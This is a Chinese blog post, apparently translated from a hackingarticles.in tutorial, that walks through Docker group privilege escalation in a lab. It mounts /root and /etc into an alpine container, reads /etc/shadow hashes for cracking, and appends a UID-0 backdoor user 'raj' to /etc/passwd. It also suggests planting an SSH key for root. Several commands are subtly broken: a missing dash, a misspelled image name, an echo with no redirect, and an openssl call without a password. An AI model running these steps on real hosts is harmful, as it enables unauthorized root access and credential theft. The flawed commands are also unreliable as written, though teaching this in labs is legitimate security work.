今天聊聊docker 提权,从docker group组用户到root shell的事儿。
咱知道,docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同获取到root的访问权,而且不需要知道密码。。。
快速试验环境搭建
只需在你的测试机器简单运行下面的命令就能装上docker。
apt install docker.io
新建一个本地用户,就叫ignite,保持最低的权限,但是要把它加到“docker”组。
adduser ignite
usermod -G docker ignite
newgrp docker
为了能提权成功,首先需要能登录到宿主机器,在这里,咱就选择通过ssh,以刚刚创建的ignite用户登录上去。
ssh ignite@192.168.1.6
id
因为咱的ignite用户在docker 组里,刚才说了,有docker 组的权限就如同获取到root的访问权,而且不需要知道密码,那么,咋弄呢?
运行下面图片显示的命令,这个命令会到Docker Hub仓库获取alpine镜像回来,接着把它运行起来。“-v”参数表示,咱要建一个磁盘卷给这个docker实例(将宿主机的/root目录映射到这个docker实例中的/mnt目录)。“-it”表示,运行命令后直接进入交互式shell界面,而不是让这个实例在后台运行。因为这个实例被设置为挂载宿主机的root文件系统目录到实例里了,所以当实例启动,马上就会加载一次chroot 到那个磁盘卷。这就把宿主机的root丢到我们面前了。运行这个命令,咱cd到/mnt目录,然后宿主机/root目录下的flag.txt就可人地显示在咱面前了。
docker run -v /root:/mnt it alphine
同样,攻击者可以加载其它的系统目录来实现提权的目的,最简单粗暴的,挂载两个重要的文件/etc/passwd 、/etc/shadow。又或者,直接挂载/root/authorized_keys,填个public ssh-key进去,再之后便是免密码ssh root权限登录鸟。
下面,咱试试把/etc/目录挂载进去,弄弄shadow这个文件,还有passwd也撸撸,加入一个属于咱的特权用户。
docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow
此时,已经拿到shadow文件里面的密码hash了,可以拿去暴力破解试试,hashcat挺适合的。不过别抱太大希望,$6这种hash,如果你能用超级计算机当我没说。如果只能用几张显卡去跑,超过7位的密码你就准备让它跑一个月吧,如果还需要考虑特殊字符,那...
何不试试加个咱自己的特权账号呢?用openssl,指定salt,填上密码,造一个格式一模一样的shadown项出来:
openssl passwd -1 -salt raj
passwd文件搞起来
docker run -v /etc/:/mnt -it alpine
cd /mnt
echo 'raj:saltpasswd:0:0::/root:/bin/bash' passwd
tail passwd
下面的图片中,咱创建一个root组的用户,名为raj。当以raj登录就能用到root的shell囖。
以上,一种稳定的 docker组用户提权方式。
原作:Kavish Tyagi
原文:https://www.hackingarticles.in/docker-privilege-escalation/
HackerHub发布 | 转载请注明出处
.> 密码重用就是一个定时炸弹
我在看,你呢?